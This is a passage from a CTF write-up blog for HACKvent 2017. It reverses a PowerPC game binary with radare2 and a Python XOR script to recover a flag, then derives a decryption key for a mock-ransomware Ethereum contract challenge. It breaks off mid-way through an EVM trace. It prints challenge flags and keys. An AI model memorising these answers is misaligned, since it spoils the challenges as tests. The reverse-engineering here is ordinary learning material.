title=\"\">\r\n&#x5B;0x10000000]&amp;amp;amp;amp;gt; pdf @ sym..DrawString\r\n\/ (fcn) sym..DrawString 208\r\n|   sym..DrawString ();\r\n|           ; CALL XREF from 0x00010754 (sym..drawScene)\r\n|           ; CALL XREF from 0x00010784 (sym..drawScene)\r\n|           ; CALL XREF from 0x000107b4 (sym..drawScene)\r\n|           ; CALL XREF from 0x00010978 (sym..drawScene)\r\n|           ; CALL XREF from 0x000109d0 (sym..drawScene)\r\n|           0x00012120      fbe1ffe8       std r31, -0x18(r1)\r\n|           0x00012124      ebe28228       ld r31, -0x7dd8(r2)\r\n|           0x00012128      7c0802a6       mflr r0\r\n|           0x0001212c      dbc1fff0       stfd f30, -0x10(r1)\r\n|           0x00012130      ffc01090       fmr f30, f2\r\n|           0x00012134      dbe1fff8       stfd f31, -8(r1)\r\n|           0x00012138      f8010010       std r0, 0x10(r1)\r\n|           0x0001213c      fba1ffd8       std r29, -0x28(r1)\r\n|           0x00012140      fbc1ffe0       std r30, -0x20(r1)\r\n|           0x00012144      f821ff41       stdu r1, -0xc0(r1)\r\n|           0x00012148      801f20f8       lwz r0, 0x20f8(r31)\r\n...\r\n<\/pre>\n<p>I was not wondering about the code itself but rather the 5 XREFs from <code>drawScene<\/code>. The function <code>DrawString<\/code> must simply.. well.. draw a string and it&#8217;s called 5 times from a function <code>drawScene<\/code>. This function must be customized to draw a specific scene for the game. Let&#8217;s go on there:<\/p>\n<pre class=\"brush: bash; highlight: [40,54,66,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,179,201]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x10000000]&amp;amp;amp;amp;gt; pdf @ sym..drawScene\r\n\/ (fcn) sym..drawScene 804\r\n|   sym..drawScene (int arg_70h, int arg_90h, int arg_b0h, int arg_d0h, int arg_140h);\r\n|           ; arg int arg_70h @ r1+0x70\r\n|           ; arg int arg_90h @ r1+0x90\r\n|           ; arg int arg_b0h @ r1+0xb0\r\n|           ; arg int arg_d0h @ r1+0xd0\r\n|           ; arg int arg_140h @ r1+0x140\r\n|           0x000106d8      fbc1fff0       std r30, -0x10(r1)\r\n|           0x000106dc      7c0802a6       mflr r0\r\n|           0x000106e0      f8010010       std r0, 0x10(r1)\r\n|           0x000106e4      3bc0001d       li r30, 0x1d\r\n|           0x000106e8      fbe1fff8       std r31, -8(r1)\r\n|           0x000106ec      f821fec1       stdu r1, -0x140(r1)\r\n|           0x000106f0      3be10070       addi r31, r1, 0x70\r\n|           0x000106f4      48004f7d       bl sym..tiny3d_Project2D\r\n|           0x000106f8      60000000       nop\r\n|           0x000106fc      3c600040       lis r3, 0x40\r\n|           0x00010700      6063ffff       ori r3, r3, 0xffff\r\n|           0x00010704      4bfffef5       bl sym..DrawBackground2D   ; floating_point round(arithmetic x);\r\n|           0x00010708      38800018       li r4, 0x18\r\n|           0x0001070c      3860000c       li r3, 0xc\r\n|           0x00010710      48000ea1       bl sym..SetFontSize\r\n|           0x00010714      60000000       nop\r\n|           0x00010718      38600001       li r3, 1\r\n|           0x0001071c      48000e45       bl sym..SetCurrentFont\r\n|           0x00010720      60000000       nop\r\n|           0x00010724      3860ffff       li r3, -1\r\n|           0x00010728      38800000       li r4, 0\r\n|           0x0001072c      78630020       clrldi r3, r3, 0x20\r\n|           0x00010730      48000eb9       bl sym..SetFontColor\r\n|           0x00010734      60000000       nop\r\n|           0x00010738      38600000       li r3, 0\r\n|           0x0001073c      48000f05       bl sym..SetFontAutoCenter\r\n|           0x00010740      60000000       nop\r\n|           0x00010744      e90281d0       ld r8, -0x7e30(r2)\r\n|           0x00010748      e8a281d8       ld r5, -0x7e28(r2)\r\n|           0x0001074c      c0280000       lfs f1, (r8)\r\n|           0x00010750      fc400890       fmr f2, f1\r\n|           0x00010754      480019cd       bl sym..DrawString\r\n|           0x00010758      60000000       nop\r\n|           0x0001075c      3c6000ff       lis r3, 0xff\r\n|           0x00010760      d8210128       stfd f1, 0x128(r1)\r\n|           0x00010764      38800000       li r4, 0\r\n|           0x00010768      606300ff       ori r3, r3, 0xff\r\n|           0x0001076c      48000e7d       bl sym..SetFontColor\r\n|           0x00010770      60000000       nop\r\n|           0x00010774      e92281d0       ld r9, -0x7e30(r2)\r\n|           ;-- .LANCHOR1:\r\n|           ;-- t_reentp:\r\n|           0x00010778      c8210128       lfd f1, 0x128(r1)\r\n|           0x0001077c      e8a281e0       ld r5, -0x7e20(r2)\r\n|           0x00010780      c0490000       lfs f2, (r9)\r\n|           0x00010784      4800199d       bl sym..DrawString\r\n|           0x00010788      60000000       nop\r\n|           0x0001078c      3860ffff       li r3, -1\r\n|           0x00010790      d8210128       stfd f1, 0x128(r1)\r\n|           0x00010794      38800000       li r4, 0\r\n|           0x00010798      78630020       clrldi r3, r3, 0x20\r\n|           0x0001079c      48000e4d       bl sym..SetFontColor\r\n|           0x000107a0      60000000       nop\r\n|           0x000107a4      e94281d0       ld r10, -0x7e30(r2)\r\n|           0x000107a8      c8210128       lfd f1, 0x128(r1)\r\n|           0x000107ac      e8a281e8       ld r5, -0x7e18(r2)\r\n|           0x000107b0      c04a0000       lfs f2, (r10)\r\n|           0x000107b4      4800196d       bl sym..DrawString\r\n|           0x000107b8      60000000       nop\r\n|           0x000107bc      e94281f0       ld r10, -0x7e10(r2)\r\n|           0x000107c0      7fc903a6       mtctr r30\r\n|           0x000107c4      39200000       li r9, 0\r\n|           0x000107c8      38c100b0       addi r6, r1, 0xb0\r\n|           0x000107cc      38e100d0       addi r7, r1, 0xd0\r\n|           0x000107d0      810a0000       lwz r8, (r10)\r\n|           0x000107d4      83ca0004       lwz r30, 4(r10)\r\n|           0x000107d8      808a0038       lwz r4, 0x38(r10)\r\n|           0x000107dc      88aa003c       lbz r5, 0x3c(r10)\r\n|           0x000107e0      818a0034       lwz r12, 0x34(r10)\r\n|           0x000107e4      800a0044       lwz r0, 0x44(r10)\r\n|           0x000107e8      816a0048       lwz r11, 0x48(r10)\r\n|           0x000107ec      806a004c       lwz r3, 0x4c(r10)\r\n|           0x000107f0      910100f0       stw r8, 0xf0(r1)\r\n|           0x000107f4      810a0008       lwz r8, 8(r10)\r\n|           0x000107f8      93c100f4       stw r30, 0xf4(r1)\r\n|           0x000107fc      83ca000c       lwz r30, 0xc(r10)\r\n|           0x00010800      910100f8       stw r8, 0xf8(r1)\r\n|           0x00010804      810a0010       lwz r8, 0x10(r10)\r\n|           0x00010808      93c100fc       stw r30, 0xfc(r1)\r\n|           0x0001080c      83ca0014       lwz r30, 0x14(r10)\r\n|           0x00010810      91010100       stw r8, 0x100(r1)\r\n|           0x00010814      810a0018       lwz r8, 0x18(r10)\r\n|           0x00010818      93c10104       stw r30, 0x104(r1)\r\n|           0x0001081c      8bca001c       lbz r30, 0x1c(r10)\r\n|           0x00010820      91010108       stw r8, 0x108(r1)\r\n|           0x00010824      810a0020       lwz r8, 0x20(r10)\r\n|           0x00010828      9bc1010c       stb r30, 0x10c(r1)\r\n|           0x0001082c      83ca0024       lwz r30, 0x24(r10)\r\n|           0x00010830      91010110       stw r8, 0x110(r1)\r\n|           0x00010834      810a0028       lwz r8, 0x28(r10)\r\n|           0x00010838      93c10114       stw r30, 0x114(r1)\r\n|           0x0001083c      83ca002c       lwz r30, 0x2c(r10)\r\n|           0x00010840      91010118       stw r8, 0x118(r1)\r\n|           0x00010844      810a0030       lwz r8, 0x30(r10)\r\n|           0x00010848      93c1011c       stw r30, 0x11c(r1)\r\n|           0x0001084c      83c100f0       lwz r30, 0xf0(r1)\r\n|           0x00010850      91010120       stw r8, 0x120(r1)\r\n|           0x00010854      810a0040       lwz r8, 0x40(r10)\r\n|           0x00010858      93c100d0       stw r30, 0xd0(r1)\r\n|           0x0001085c      83c100f4       lwz r30, 0xf4(r1)\r\n|           0x00010860      93c100d4       stw r30, 0xd4(r1)\r\n|           0x00010864      83c100f8       lwz r30, 0xf8(r1)\r\n|           0x00010868      93c100d8       stw r30, 0xd8(r1)\r\n|           0x0001086c      83c100fc       lwz r30, 0xfc(r1)\r\n|           0x00010870      93c100dc       stw r30, 0xdc(r1)\r\n|           0x00010874      83c10100       lwz r30, 0x100(r1)\r\n|           0x00010878      93c100e0       stw r30, 0xe0(r1)\r\n|           0x0001087c      83c10104       lwz r30, 0x104(r1)\r\n|           0x00010880      93c100e4       stw r30, 0xe4(r1)\r\n|           0x00010884      83c10108       lwz r30, 0x108(r1)\r\n|           0x00010888      93c100e8       stw r30, 0xe8(r1)\r\n|           0x0001088c      8bc1010c       lbz r30, 0x10c(r1)\r\n|           0x00010890      9bc100ec       stb r30, 0xec(r1)\r\n|           0x00010894      83c10110       lwz r30, 0x110(r1)\r\n|           0x00010898      93c100b0       stw r30, 0xb0(r1)\r\n|           0x0001089c      83c10114       lwz r30, 0x114(r1)\r\n|           0x000108a0      93c100b4       stw r30, 0xb4(r1)\r\n|           0x000108a4      83c10118       lwz r30, 0x118(r1)\r\n|           0x000108a8      93c100b8       stw r30, 0xb8(r1)\r\n|           0x000108ac      83c1011c       lwz r30, 0x11c(r1)\r\n|           0x000108b0      908100c8       stw r4, 0xc8(r1)\r\n|           0x000108b4      808a0050       lwz r4, 0x50(r10)\r\n|           0x000108b8      93c100bc       stw r30, 0xbc(r1)\r\n|           0x000108bc      83c10120       lwz r30, 0x120(r1)\r\n|           0x000108c0      98a100cc       stb r5, 0xcc(r1)\r\n|           0x000108c4      80aa0054       lwz r5, 0x54(r10)\r\n|           0x000108c8      91010090       stw r8, 0x90(r1)\r\n|           0x000108cc      810a0058       lwz r8, 0x58(r10)\r\n|           0x000108d0      894a005c       lbz r10, 0x5c(r10)\r\n|           0x000108d4      93c100c0       stw r30, 0xc0(r1)\r\n|           0x000108d8      918100c4       stw r12, 0xc4(r1)\r\n|           0x000108dc      90010094       stw r0, 0x94(r1)\r\n|           0x000108e0      91610098       stw r11, 0x98(r1)\r\n|           0x000108e4      9061009c       stw r3, 0x9c(r1)\r\n|           0x000108e8      908100a0       stw r4, 0xa0(r1)\r\n|           0x000108ec      90a100a4       stw r5, 0xa4(r1)\r\n|           0x000108f0      910100a8       stw r8, 0xa8(r1)\r\n|           0x000108f4      994100ac       stb r10, 0xac(r1)\r\n|           0x000108f8      7d0648ae       lbzx r8, r6, r9\r\n|           0x000108fc      7d4748ae       lbzx r10, r7, r9\r\n|           0x00010900      7d0a5278       xor r10, r8, r10\r\n|           0x00010904      794a0620       clrldi r10, r10, 0x38\r\n|           0x00010908      554807fe       clrlwi r8, r10, 0x1f\r\n|           0x0001090c      2f880000       cmpwi cr7, r8, 0\r\n|           0x00010910      419e0008       beq cr7, 0x10918\r\n|           0x00010914      694a0001       xori r10, r10, 1\r\n|           0x00010918      7d5f49ae       stbx r10, r31, r9\r\n|           0x0001091c      39290001       addi r9, r9, 1\r\n|           0x00010920      4200ffd8       bdnz 0x108f8\r\n|           0x00010924      3900001d       li r8, 0x1d\r\n|           0x00010928      39200000       li r9, 0\r\n|           0x0001092c      38e10090       addi r7, r1, 0x90\r\n|           0x00010930      7d0903a6       mtctr r8\r\n|           0x00010934      60000000       nop\r\n|           0x00010938      7d5f48ae       lbzx r10, r31, r9\r\n|           0x0001093c      7d0748ae       lbzx r8, r7, r9\r\n|           0x00010940      7d0a5278       xor r10, r8, r10\r\n|           0x00010944      7d5f49ae       stbx r10, r31, r9\r\n|           0x00010948      39290001       addi r9, r9, 1\r\n|           0x0001094c      4200ffec       bdnz 0x10938\r\n|           0x00010950      38600001       li r3, 1\r\n|           0x00010954      39200000       li r9, 0\r\n|           0x00010958      9921008d       stb r9, 0x8d(r1)\r\n|           0x0001095c      48000ce5       bl sym..SetFontAutoCenter\r\n|           0x00010960      60000000       nop\r\n|           0x00010964      e94281d0       ld r10, -0x7e30(r2)\r\n|           0x00010968      7fe5fb78       mr r5, r31\r\n|           0x0001096c      e92281f8       ld r9, -0x7e08(r2)\r\n|           0x00010970      c02a0000       lfs f1, (r10)\r\n|           0x00010974      c0490000       lfs f2, (r9)\r\n|           0x00010978      480017a9       bl sym..DrawString\r\n|           0x0001097c      60000000       nop\r\n|           0x00010980      38600001       li r3, 1\r\n|           0x00010984      48000bdd       bl sym..SetCurrentFont\r\n|           0x00010988      60000000       nop\r\n|           0x0001098c      38600010       li r3, 0x10\r\n|           0x00010990      38800010       li r4, 0x10\r\n|           0x00010994      48000c1d       bl sym..SetFontSize\r\n|           0x00010998      60000000       nop\r\n|           0x0001099c      3860ffff       li r3, -1\r\n|           0x000109a0      388000ff       li r4, 0xff\r\n|           0x000109a4      78630020       clrldi r3, r3, 0x20\r\n|           0x000109a8      48000c41       bl sym..SetFontColor\r\n|           0x000109ac      60000000       nop\r\n|           0x000109b0      38600001       li r3, 1\r\n|           0x000109b4      48000c8d       bl sym..SetFontAutoCenter\r\n|           0x000109b8      60000000       nop\r\n|           0x000109bc      e9228200       ld r9, -0x7e00(r2)\r\n|           0x000109c0      ebc281d0       ld r30, -0x7e30(r2)\r\n|           0x000109c4      e8a28208       ld r5, -0x7df8(r2)\r\n|           0x000109c8      c0490000       lfs f2, (r9)\r\n|           0x000109cc      c03e0000       lfs f1, (r30)\r\n|           0x000109d0      48001751       bl sym..DrawString\r\n|           0x000109d4      60000000       nop\r\n|           0x000109d8      38600000       li r3, 0\r\n|           0x000109dc      48000c65       bl sym..SetFontAutoCenter\r\n|           0x000109e0      60000000       nop\r\n|           0x000109e4      38210140       addi r1, r1, 0x140\r\n|           0x000109e8      e8010010       ld r0, 0x10(r1)\r\n|           0x000109ec      ebc1fff0       ld r30, -0x10(r1)\r\n|           0x000109f0      ebe1fff8       ld r31, -8(r1)\r\n|           0x000109f4      7c0803a6       mtlr r0\r\n\\           0x000109f8      4e800020       blr\r\n<\/pre>\n<p>A lot of code. I have highlighted the calls to DrawString. Before the call of the 4th DrawString there are a lot of suspicious <code>load<\/code>\/<code>store<\/code>\/<code>xor<\/code> instructions. That&#8217;s where we should go deeper.<\/p>\n<p>What followed was a lot of lookup-and-understand work. I looked up most of the instructions here: http:\/\/www.ds.ewi.tudelft.nl\/vakken\/in1006\/instruction-set\/.<\/p>\n<p>I figured out that there are basically 3 memory-regions involved with 29-bytes. As the flag-syntax is HV17-xxxx-xxxx-xxxx-xxxx-xxxx this exactly matches the 29 bytes.<\/p>\n<p>In the biggest block of code between <code>0x000107d0<\/code> and <code>0x000108fc<\/code> (lines 73-148) <code>lwz<\/code> \/ <code>lbz<\/code> (Load Word\/Byte and Zero) and <code>stw<\/code> \/ <code>stb<\/code> (Store Word\/Byte and Zero) is used to initialize these memory-regions. The actual calculation is done between <code>0x00010900<\/code> and <code>0x0001094c<\/code> (lines 149-168).<\/p>\n<p>This was my first attempt to reverse these memory-regions:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n0x090 = 0x00000040\r\n0x094 = 0x00000044 (r0)\r\n0x098 = 0x00000048 (r11)\r\n0x09c = 0x0000004c (r3)\r\n0x0a0 = 0x00000050 (r4)\r\n0x0a4 = 0x00000054 (r5)\r\n0x0a8 = 0x00000058 (r8)\r\n0x0ac = 0x5c (b)\r\n\r\n0x0b0 = 0x00000110\r\n0x0b4 = 0x00000114\r\n0x0b8 = 0x00000118\r\n0x0bc = 0x0000011c\r\n0x0c0 = 0x00000120\r\n0x0c4 = 0x00000034\r\n0x0c8 = 0x00000038\r\n0x0cc = 0x3c (b)\r\n\r\n0x0d0 = 0x000000f0\r\n0x0d4 = 0x000000f4\r\n0x0d8 = 0x000000f8\r\n0x0dc = 0x000000fc\r\n0x0e0 = 0x00000100\r\n0x0e4 = 0x00000104\r\n0x0e8 = 0x00000108\r\n0x0ec = 0x10c (b)\r\n\r\n0x0f0 = 0x00000000\r\n0x0f4 = 0x00000004\r\n0x0f8 = 0x00000008\r\n0x0fc = 0x0000000c\r\n0x100 = 0x00000010\r\n0x104 = 0x00000014\r\n0x108 = 0x00000018\r\n0x10c = 0x1c (b)\r\n\r\n0x110 = 0x00000020\r\n0x114 = 0x00000024\r\n0x118 = 0x00000028\r\n0x11c = 0x0000002c\r\n0x120 = 0x00000030\r\n<\/pre>\n<p>After further analyzing the code I understood that the initialized memory-regions are used as a offset into a predefined memory-region beginning at <code>0x40018<\/code> within the binary:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:\/media\/tmp\/USERDIR$ hexdump -C EBOOT.BIN | head -n 11768 | tail -n 10\r\n00040000  00 01 04 30 00 01 04 30  00 00 00 00 00 00 00 00  |...0...0........|\r\n00040010  00 00 00 00 00 00 00 00  08 33 cf a8 a0 3d 5e ac  |.........3...=^.|\r\n00040020  a1 73 69 f4 57 37 aa c2  26 ee fc 61 f8 79 a4 cb  |.si.W7..&amp;amp;amp;amp;amp;..a.y..|\r\n00040030  e8 1d b5 21 b6 00 00 00  2b db 0d f9 06 e8 24 be  |...!....+.....$.|\r\n00040040  c2 2a 6d b5 12 63 04 9a  8e 84 14 f9 5f 56 3d 82  |.*m..c......_V=.|\r\n00040050  80 a6 6d 95 c6 00 00 00  6a be f3 67 8b e1 17 58  |..m.....j..g...X|\r\n00040060  51 75 7d 38 27 39 83 0f  c1 3f b0 b5 c8 74 ff 1f  |Qu}8'9...?...t..|\r\n00040070  45 df e8 d8 24 00 00 00  47 7f ff 00 44 53 c0 00  |E...$...G...DS..|\r\n00040080  43 ff 80 00 00 00 00 00  42 00 00 00 42 80 00 00  |C.......B...B...|\r\n00040090  77 65 6c 63 6f 6d 65 20  74 6f 20 61 6e 6f 74 68  |welcome to anoth|\r\n<\/pre>\n<p>Summing it all up I ended with the following python-script, which basically just XORs 3 bytes of the referenced memory-regions:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/python\r\n\r\ns1 = &amp;amp;amp;amp;quot;\\x08\\x33\\xcf\\xa8\\xa0\\x3d\\x5e\\xac\\xa1\\x73\\x69\\xf4\\x57\\x37\\xaa\\xc2\\x26\\xee\\xfc\\x61\\xf8\\x79\\xa4\\xcb\\xe8\\x1d\\xb5\\x21\\xb6&amp;amp;amp;amp;quot;\r\ns2 = &amp;amp;amp;amp;quot;\\x2b\\xdb\\x0d\\xf9\\x06\\xe8\\x24\\xbe\\xc2\\x2a\\x6d\\xb5\\x12\\x63\\x04\\x9a\\x8e\\x84\\x14\\xf9\\x5f\\x56\\x3d\\x82\\x80\\xa6\\x6d\\x95\\xc6&amp;amp;amp;amp;quot;\r\ns3 = &amp;amp;amp;amp;quot;\\x6a\\xbe\\xf3\\x67\\x8b\\xe1\\x17\\x58\\x51\\x75\\x7d\\x38\\x27\\x39\\x83\\x0f\\xc1\\x3f\\xb0\\xb5\\xc8\\x74\\xff\\x1f\\x45\\xdf\\xe8\\xd8\\x24&amp;amp;amp;amp;quot;\r\n\r\n\r\nflag = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;quot;\r\nfor i in range(len(s1)):\r\n  bintmp = bin(ord(s2&#x5B;i]) ^ ord(s1&#x5B;i]))&#x5B;2:]                # XOR byte from s1 and s2\r\n  bintmp = &amp;amp;amp;amp;quot;0&amp;amp;amp;amp;quot; * (8-len(bintmp)) + bintmp                  # append leading zeros\r\n  x = 0x0\r\n  if (bintmp&#x5B;7] == &amp;amp;amp;amp;quot;1&amp;amp;amp;amp;quot;): x = 0x01                          # if the 7th bit is set, final XOR with 0x1 is required\r\n  flag += chr(ord(s1&#x5B;i]) ^ ord(s2&#x5B;i]) ^ ord(s3&#x5B;i]) ^ x)    # final XOR\r\n\r\nprint(flag)\r\n<\/pre>\n<p>Running the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ .\/ppc.py\r\nHV17-5mJ3-yxcm-WiUX-nZgW-e0lT\r\n<\/pre>\n<p>Done!<\/p>\n<p>The flag is <code><span class=\"spanFlag\">HV17-5mJ3-yxcm-WiUX-nZgW-e0lT<\/span><\/code>.<\/p>\n<hr \/>\n<h1 id=\"day19\">Day 19: Cryptolocker Ransomware<\/h1>\n<table style=\"background-color:#eeeeee;\">\n<tr>\n<td width=\"90\">\n<center><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/final_64.png\" alt=\"\" width=\"64\" height=\"64\" class=\"alignnone size-full wp-image-188\" \/><br \/>\n<\/center><\/td>\n<td><span style=\"color:#666666; font-size:smaller;\">Author: Dykcik<\/span><br \/>\n<i>Pay the price, Thumper did it already!<\/i><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" style=\"padding:5px 20px 5px 20px;\">This flag has been taken for ransom. Transfer 10&#8217;000 Szabo to <code>0x1337C8b69bcb49d677D758cF541116af1F2759Ca<\/code> with your HACKvent username (case sensitive) in the transaction data to get your personal decryption key. To get points for this challenge, enter the key in the form below.<\/p>\n<p>Disclaimer: No need to spend r34l m0n3y!<\/p>\n<p>Enter your 32-byte decryption key here. Type it as 64 hexadecimal characters without 0x at the beginning.<\/td>\n<\/tr>\n<\/table>\n<p>I started by googling for Szabo and cryptocurrency which lead me to Nick Szabo (https:\/\/en.wikipedia.org\/wiki\/Nick_Szabo), who is the developer of the phrase and concept of &#8220;smart contracts&#8221;. These smart contracts are used by Ethereum. Thus I started searching the provided address (<code>0x1337C8b69bcb49d677D758cF541116af1F2759Ca<\/code>) on https:\/\/etherscan.io\/. That&#8217;s what I got:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/eth01.png\" alt=\"\" width=\"1126\" height=\"507\" class=\"alignnone size-full wp-image-304\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/eth01.png 1126w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/eth01-300x135.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/eth01-768x346.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/eth01-1024x461.png 1024w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>So there is a wallet with this address and there are two transactions: a contract creation and another transaction. Let&#8217;s have a look at the actual transaction:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/eth02.png\" alt=\"\" width=\"820\" height=\"620\" class=\"alignnone size-full wp-image-305\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/eth02.png 820w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/eth02-300x227.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/eth02-768x581.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>Somebody payed 0.01 Ether to the address. According to the challenge description <code>Thumper<\/code> already payed the price. So it&#8217;s no surprise that the hex-values in the field Input Data are the ASCII-characters <code>T-h-u-m-p-e-r<\/code>.<\/p>\n<p>Viewing the Event Logs of the transaction we even get more information:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/eth03.png\" alt=\"\" width=\"708\" height=\"346\" class=\"alignnone size-full wp-image-306\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/eth03.png 708w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/eth03-300x147.png 300w\" sizes=\"(max-width: 708px) 100vw, 708px\" \/><\/p>\n<p>There are 4 x 32-Byte values. For the last one I selected <code>Text<\/code> which displays the words: <code>Your key is here<\/code>. According to the challenge description the key we have to enter is a 32-byte key (= 64 hexadecimal characters). Thus the first value must be the decryption key for <code>Thumper<\/code> (<code>9880cccfe81a075ff0d029b4351ef4496ae452199b831634af57e5951466349d<\/code>).<\/p>\n<p>What information can we get how this key was created? Going back to the wallet&#8217;s main page we can select <code>Contract Code<\/code>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/eth04.png\" alt=\"\" width=\"1138\" height=\"577\" class=\"alignnone size-full wp-image-307\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/eth04.png 1138w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/eth04-300x152.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/eth04-768x389.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/eth04-1024x519.png 1024w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>In the lower window we can see the contract code. This code is executed on the input data and generates the 4 x 32-byte values of the output. So we just have to input our nickname according to the challenge description, run the code with this input and get our decryption key. Sounds easy. Theoretically.<\/p>\n<p>I used quite a lot of time to google things up. I learned that the contract codes are interpreted by a virtual machine called Ethereum Virtual Machine (EVM). Thus I searched for different implementation which can execute evm bytecode.<\/p>\n<p>After a while I stumbled upon <code>go-ethereum<\/code> which can be downloaded here: https:\/\/ethereum.github.io\/go-ethereum\/downloads\/. The archive Geth &#038; Tools 1.7.3 contains the tool <code>evm<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ .\/evm\r\nevm &#x5B;global options] command &#x5B;command options] &#x5B;arguments...]\r\n\r\nVERSION:\r\n   1.7.3-stable-4bb3c89d\r\n\r\nCOMMANDS:\r\n   compile    compiles easm source to evm binary\r\n   disasm     disassembles evm binary\r\n   run        run arbitrary evm binary\r\n   statetest  executes the given state tests\r\n   help       Shows a list of commands or help for one command\r\n   \r\nGLOBAL OPTIONS:\r\n   --create            indicates the action should be create rather than call\r\n   --debug             output full trace logs\r\n   --verbosity value   sets the verbosity level (default: 0)\r\n   --code value        EVM code\r\n   --codefile value    File containing EVM code. If '-' is specified, code is read from stdin\r\n   --gas value         gas limit for the evm (default: 10000000000)\r\n   --price &amp;amp;amp;amp;quot;0&amp;amp;amp;amp;quot;         price set for the evm\r\n   --value &amp;amp;amp;amp;quot;0&amp;amp;amp;amp;quot;         value set for the evm\r\n   --dump              dumps the state after the run\r\n   --input value       input for the EVM\r\n   --nogasmetering     disable gas metering\r\n   --memprofile value  creates a memory profile at the given path\r\n   --cpuprofile value  creates a CPU profile at the given path\r\n   --statdump          displays stack and heap memory information\r\n   --prestate value    JSON file with prestate (genesis) config\r\n   --json              output trace logs in machine readable format (json)\r\n   --sender value      The transaction origin\r\n   --receiver value    The transaction receiver (execution context)\r\n   --nomemory          disable memory output\r\n   --nostack           disable stack output\r\n   --help, -h          show help\r\n   --version, -v       print the version\r\n<\/pre>\n<p>In order to run the bytecode from the contract I saved the code in a textfile:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ cat bytecode.txt\r\n6060604052600436106100405763ffffffff7c010000000000000000000 ...\r\n<\/pre>\n<p>As the input I converted my nickname <code>\"scryh\"<\/code> to ASCII: <code>7363727968<\/code>.<\/p>\n<p>After looking up how to correctly call the tool I finally entered:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ .\/evm --input 7363727968 --debug --codefile bytecode.txt run\r\n#### TRACE ####\r\nPUSH1           pc=00000000 gas=10000000000 cost=3\r\n\r\nPUSH1           pc=00000002 gas=9999999997 cost=3\r\nStack:\r\n00000000  0000000000000000000000000000000000000000000000000000000000000060\r\n\r\nMSTORE          pc=00000004 gas=9999999994 cost=12\r\nStack:\r\n00000000  0000000000000000000000000000000000000000000000000000000000000040\r\n00000001  0000000000000000000000000000000000000000000000000000000000000060\r\nMemory:\r\n00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n\r\nPUSH1           pc=00000005 gas=9999999982 cost=3\r\nMemory:\r\n00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 60  |...............`|\r\n\r\nCALLDATASIZE    pc=00000007 gas=9999999979 cost=2\r\nStack:\r\n00000000  0000000000000000000000000000000000000000000000000000000000000004\r\nMemory:\r\n00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  